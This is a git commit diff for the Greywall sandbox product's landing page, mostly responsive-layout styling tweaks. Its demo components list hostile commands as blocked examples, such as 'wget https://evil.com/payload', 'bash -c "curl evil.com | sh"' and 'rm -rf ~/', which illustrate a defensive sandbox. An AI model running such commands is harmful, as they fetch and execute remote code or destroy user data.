monadical/greywall-landing-page
13
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix: mobile view+minor changes

Browse Source
This commit is contained in:
Nik L
2026-03-09 14:20:30 -04:00
parent 585d7c35df
commit 84b16955d7
8 changed files with 94 additions and 111 deletions
Download Patch File Download Diff File Expand all files Collapse all files

9
app/globals.css
View File

@@ -181,3 +181,12 @@ section {
.stagger-children > *:nth-child(3) { animation-delay: 0.3s; } .stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
.stagger-children > *:nth-child(4) { animation-delay: 0.4s; } .stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
.stagger-children > *:nth-child(5) { animation-delay: 0.5s; } .stagger-children > *:nth-child(5) { animation-delay: 0.5s; }
/* Hide scrollbar but keep scroll functionality */
.scrollbar-hide {
-ms-overflow-style: none;
scrollbar-width: none;
}
.scrollbar-hide::-webkit-scrollbar {
display: none;
}

4
components/agents.tsx
View File

@@ -33,14 +33,14 @@ export function Agents() {
</p> </p>
</div> </div>
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3"> <div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-2 sm:gap-3">
{agents.map((agent) => ( {agents.map((agent) => (
<a <a
key={agent.name} key={agent.name}
href={agent.url} href={agent.url}
target="_blank" target="_blank"
rel="noopener noreferrer" rel="noopener noreferrer"
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer" className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
> >
<img <img
src={`https://github.com/${agent.org}.png?size=64`} src={`https://github.com/${agent.org}.png?size=64`}

58
components/comparison.tsx
View File

@@ -167,24 +167,24 @@ export function Comparison() {
</p> </p>
</div> </div>
{/* Desktop table */} {/* Table — scrollable on mobile */}
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden"> <div className="rounded-lg border border-border/40 overflow-x-auto scrollbar-hide">
<table className="w-full text-sm"> <table className="w-full text-sm min-w-[540px]">
<thead> <thead>
<tr className="border-b border-border/40 bg-card/40"> <tr className="border-b border-border/40 bg-card/40">
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Feature Feature
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
Greywall Greywall
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Safehouse Safehouse
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude Sandbox Claude
</th> </th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider"> <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Containers Containers
</th> </th>
</tr> </tr>
@@ -195,25 +195,25 @@ export function Comparison() {
key={row.feature} key={row.feature}
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`} className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
> >
<td className="py-3 px-4 font-serif text-sm text-foreground"> <td className="py-2.5 sm:py-3 px-3 sm:px-4 font-serif text-sm text-foreground whitespace-nowrap">
{row.feature} {row.feature}
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.greywall} /> <CellIcon value={row.greywall} />
</div> </div>
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.safehouse} /> <CellIcon value={row.safehouse} />
</div> </div>
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.claudeSandbox} /> <CellIcon value={row.claudeSandbox} />
</div> </div>
</td> </td>
<td className="py-3 px-3 text-center"> <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center"> <div className="flex justify-center">
<CellIcon value={row.containers} /> <CellIcon value={row.containers} />
</div> </div>
@@ -224,36 +224,6 @@ export function Comparison() {
</table> </table>
</div> </div>
{/* Mobile cards */}
<div className="md:hidden space-y-2">
{rows.map((row) => (
<div
key={row.feature}
className="p-4 rounded-lg border border-border/30 bg-card/20"
>
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
<div className="grid grid-cols-4 gap-1.5 text-center">
<div>
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
</div>
</div>
</div>
))}
</div>
{/* Legend */} {/* Legend */}
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground"> <div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
<div className="flex items-center gap-1.5"> <div className="flex items-center gap-1.5">

96
components/control.tsx
View File

@@ -58,19 +58,19 @@ export function Control() {
<PlatformToggle /> <PlatformToggle />
</div> </div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6"> <div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */} {/* Directory tree visualization */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" /> <FolderLock className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3> <h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div> </div>
<div className="space-y-1 font-mono text-sm"> <div className="space-y-1 font-mono text-xs sm:text-sm">
{tree.map((item, i) => ( {tree.map((item, i) => (
<div key={i} className="flex items-center justify-between py-1"> <div key={i} className="flex items-center justify-between py-1 gap-2">
<span className={textColor(item.color)}>{item.path}</span> <span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
<span <span
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`} className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
> >
{accessLabels[item.access]} {accessLabels[item.access]}
</span> </span>
@@ -84,7 +84,7 @@ export function Control() {
</div> </div>
{/* Network isolation */} {/* Network isolation */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" /> <Wifi className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3> <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
@@ -101,22 +101,22 @@ export function Control() {
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div> <div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
</div> </div>
</div> </div>
<div className="space-y-2 font-mono text-xs"> <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span> <span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span> <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">npm install lodash</span> <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span> <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">wget https://evil.com/payload</span> <span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5"> <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span> <span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div> </div>
</div> </div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed"> <p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -142,22 +142,22 @@ export function Control() {
</div> </div>
</div> </div>
</div> </div>
<div className="space-y-2 font-mono text-xs"> <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">api.anthropic.com</span> <span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span> <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">registry.npmjs.org</span> <span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span> <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20"> <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">evil.com (direct)</span> <span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px]">KERNEL DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
</div> </div>
<div className="flex items-center justify-between py-1.5"> <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite">analytics.vendor.io</span> <span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px]">PROXY DENY</span> <span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
</div> </div>
</div> </div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed"> <p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -169,35 +169,35 @@ export function Control() {
</div> </div>
{/* Command blocking */} {/* Command blocking */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" /> <Ban className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3> <h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div> </div>
<div className="space-y-2 font-mono text-xs"> <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">git push origin main</span> <span className="text-muted-foreground truncate">git push origin main</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">npm publish</span> <span className="text-muted-foreground truncate">npm publish</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">rm -rf ~/</span> <span className="text-muted-foreground truncate">rm -rf ~/</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span> <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span> <span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div> </div>
<div className="mt-3 flex items-center gap-3"> <div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span> <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span> <span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div> </div>
<div className="flex items-center gap-3"> <div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span> <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">npm install lodash</span> <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div> </div>
</div> </div>
<p className="text-xs text-muted-foreground font-serif mt-4"> <p className="text-xs text-muted-foreground font-serif mt-4">
@@ -206,7 +206,7 @@ export function Control() {
</div> </div>
{/* Learning mode */} {/* Learning mode */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30"> <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5"> <div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" /> <GraduationCap className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3> <h3 className="font-sans font-semibold text-sm">Learning mode</h3>

12
components/getting-started.tsx
View File

@@ -75,17 +75,19 @@ export function GettingStarted() {
<div className="space-y-4 max-w-2xl"> <div className="space-y-4 max-w-2xl">
{steps.map((step, i) => ( {steps.map((step, i) => (
<div key={`${platform}-${i}`} className="flex items-center gap-4"> <div key={`${platform}-${i}`} className="flex items-start sm:items-center gap-3 sm:gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold"> <div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold mt-3 sm:mt-0">
{i + 1} {i + 1}
</div> </div>
<div className="flex-1 code-block p-3 flex items-center gap-3"> <div className="flex-1 min-w-0 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24"> <span className="text-xs font-sans text-muted-foreground shrink-0 w-20 sm:w-24 hidden sm:block">
{step.label} {step.label}
</span> </span>
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate"> <div className="flex-1 min-w-0 overflow-x-auto scrollbar-hide">
<code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
{step.cmd} {step.cmd}
</code> </code>
</div>
<button <button
onClick={() => copy(step.cmd, i)} onClick={() => copy(step.cmd, i)}
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors" className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"

6
components/hero.tsx
View File

@@ -15,7 +15,7 @@ export function Hero() {
} }
return ( return (
<section className="relative pt-32 pb-24 px-6 overflow-hidden"> <section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
{/* Subtle background gradient */} {/* Subtle background gradient */}
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" /> <div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
{/* Grid pattern */} {/* Grid pattern */}
@@ -63,11 +63,13 @@ export function Hero() {
{/* Install command */} {/* Install command */}
<div className="mx-auto max-w-5xl"> <div className="mx-auto max-w-5xl">
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4"> <div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center justify-between gap-3">
<div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap"> <code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
<span className="text-muted-foreground">$ </span> <span className="text-muted-foreground">$ </span>
{installCmd} {installCmd}
</code> </code>
</div>
<button <button
onClick={copyInstall} onClick={copyInstall}
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all" className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"

2
components/layers.tsx
View File

@@ -110,7 +110,7 @@ export function Layers() {
{layers.map((layer) => ( {layers.map((layer) => (
<div <div
key={layer.name} key={layer.name}
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20" className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
> >
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary"> <div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
<layer.icon className="h-5 w-5" /> <layer.icon className="h-5 w-5" />

6
components/platform-toggle.tsx
View File

@@ -34,10 +34,10 @@ export function PlatformToggle() {
const [platform, setPlatform] = usePlatform() const [platform, setPlatform] = usePlatform()
return ( return (
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5"> <div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5 shrink-0 self-start">
<button <button
onClick={() => setPlatform('linux')} onClick={() => setPlatform('linux')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${ className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'linux' platform === 'linux'
? 'bg-primary text-primary-foreground shadow-sm' ? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground' : 'text-muted-foreground hover:text-foreground'
@@ -47,7 +47,7 @@ export function PlatformToggle() {
</button> </button>
<button <button
onClick={() => setPlatform('macos')} onClick={() => setPlatform('macos')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${ className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'macos' platform === 'macos'
? 'bg-primary text-primary-foreground shadow-sm' ? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground' : 'text-muted-foreground hover:text-foreground'